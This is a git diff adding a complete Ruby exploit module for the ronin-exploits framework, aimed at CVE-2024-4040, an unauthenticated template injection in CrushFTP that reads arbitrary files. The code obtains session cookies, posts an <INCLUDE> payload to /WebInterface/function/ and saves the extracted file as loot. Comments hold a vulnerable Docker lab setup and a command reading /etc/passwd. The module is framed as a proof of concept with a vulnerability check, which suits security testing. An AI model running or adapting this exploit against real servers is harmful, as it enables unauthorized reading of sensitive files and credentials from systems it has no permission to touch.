diff --git a/exploits/crushftp/CVE-2024-4040.rb b/exploits/crushftp/CVE-2024-4040.rb
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+#!/usr/bin/env -S ronin-exploits run -f
+
+require 'ronin/exploits/web'
+require 'ronin/exploits/mixins/loot'
+
+module Ronin
+  module Exploits
+    #
+    # A Proof-of-Concept exploit for CVE-2024-4040.
+    #
+    # * https://github.com/1ncendium/CVE-2024-4040/blob/5e7c7a34827b39a29c62f240912ac218df764838/exploit.py
+    # * https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability/blob/8fbb976af2b92cdcd7dce5e6baf72e57b099e3bf/exploit.py
+    # * https://github.com/airbus-cert/CVE-2024-4040/blob/8e6652ae88065e0cc6cd0da8d479a40c249274d4/scan_host.py
+    #
+    # ## Improvements
+    #
+    # * Obtains the anonymous session cookie via `GET /WebInterface/`, not
+    #   `/WebInterface/login.html`.
+    # * Uses a better regex to extract the included file from the XML response.
+    #
+    # ## Vertification
+    #
+    # ```
+    # FROM ubuntu:latest
+    # WORKDIR /var/opt
+    # RUN apt-get update -qq && \
+    #     apt-get install -qq -y unzip wget openjdk-17-jre-headless && \
+    #     wget -q https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip && \
+    #     unzip CrushFTP10.zip
+    #
+    # EXPOSE 21
+    # EXPOSE 8080
+    # EXPOSE 443
+    # EXPOSE 2222
+    # WORKDIR /var/opt/CrushFTP10
+    # CMD ["java", "-Xmx1024m", "-jar", "CrushFTP.jar", "-d"]
+    # ```
+    #
+    # ```
+    # $ docker built -t vuln-crushftp .
+    # $ docker run --rm -p 2121:21 -p 4443:443 -p 8080:8080 -p 9090:9090 -p 2222:2222 vuln-crushftp
+    # ```
+    #
+    # ```
+    # $ bundle exec ./exploits/crushftp/CVE-2024-4040.rb -p base_url=http://localhost:8080 -p file=/etc/passwd
+    # ```
+    #
+    # **Note:** it takes more than a minute for `CrushFTP.jar` to fully boot up.
+    #
+    class CVE_2024_4040 < Web
+
+      include Mixins::Loot
+
+      register 'CVE-2024-4040'
+
+      quality :tested
+      release_date    '2024-05-13'
+      disclosure_date '2024-04-26'
+      advisory 'CVE-2024-4040'
+      advisory 'GHSA-46vf-c8gj-2pgq'
+
+      author "Postmodern", email: "postmodern.mod3@gmail.com"
+      summary "Arbitrary File Read in CrushFTP < 10.7.1 and 11.1.0"
+      description <<~DESC
+        CrushFTP versions before 10.7.1 and 11.1.0 are vulnerable to an
+        unauthenticated server side template injection vulnerability that allows
+        reading arbitrary files outside of the VFS Sandbox.
+
+          POST /WebInterface/function/
+          command=exists&paths=<INCLUDE>FILE_HERE</INCLUDE>&c2f=...
+
+      DESC
+      references [
+        "https://github.com/1ncendium/CVE-2024-4040",
+        "https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability",
+        "https://github.com/airbus-cert/CVE-2024-4040"
+      ]
+
+      param :file, default: 'users/MainUsers/groups.XML',
+                   desc:    'The file to read'
+
+      #
+      # Test whether the target system is vulnerable.
+      #
+      def test
+        unless (cookie = session_cookie)
+          return Unknown("could not obtain session cookies")
+        end
+
+        file      = params[:file]
+        injection = "<INCLUDE>#{file}</INCLUDE>"
+
+        response = http_post(
+          '/WebInterface/function/', cookie:    cookie,
+                                     form_data: {
+                                       'command' => 'exists',
+                                       'paths'   => injection,
+                                       'c2f'     => cookie['currentAuth']
+                                     }
+        )
+
+        if response.code == '200'
+          if response.content_type == 'text/xml'
+            if response.body.include?('<commandResult>')
+              Vulnerable('host is vulnerable')
+            else
+              NotVulnerable('host is patched')
+            end
+          else
+            Unknown("did receive an XML response: #{response.content_type}")
+          end
+        else
+          Unknown("did not return HTTP 200: #{response.code}")
+        end
+      end
+
+      #
+      # Obtains the `currentAuth` cookie using {#session_cookie} and then sends
+      # a HTTP POST to `/WebInterface/function/` with the cookie and form params
+      # with the `<INCLUDE>FILE_HERE</INCLUDE>` Server-Side Template Injection.
+      #
+      def launch
+        unless (cookie = session_cookie)
+          fail("could not obtain the session cookies")
+        end
+
+        file      = params[:file]
+        injection = "<INCLUDE>#{file}</INCLUDE>"
+
+        response = http_post(
+          '/WebInterface/function/', cookie:    cookie,
+                                     form_data: {
+                                       'command' => 'exists',
+                                       'paths'   => injection,
+                                       'c2f'     => cookie['currentAuth']
+                                     }
+        )
+
+        if response.code == '200'
+          if response.content_type == 'text/xml'
+            if (match = response.body.match(%r{<response>(.+?)\r\n:false</response>}m))
+              loot.add(file,match[1])
+            else
+              fail("could not extract the included file from the response body: #{response.body.inspect}")
+            end
+          else
+            fail("did not receive a valid XML response: #{response.content_type}")
+          end
+        else
+          fail("POST #{params[:base_url]}/WebInterface/function/ returned HTTP #{response.code}")
+        end
+      end
+
+      #
+      # Sends a HTTP GET request to `/WebInterface/` and returns the
+      # `currentAuth` and `CrushAuth` cookie values.
+      #
+      # @return [Hash, nil]
+      #
+      def session_cookie
+        if (cookies = http_get_cookies('/WebInterface/'))
+          # NOTE: CrushFTP sends the currentAuth and crushAuth cookie values in
+          # two separate Set-Cookie headers.
+          {
+            'currentAuth' => cookies[0]['currentAuth'],
+            'CrushAuth'   => cookies[1]['CrushAuth']
+          }
+        end
+      end
+
+    end
+  end
+end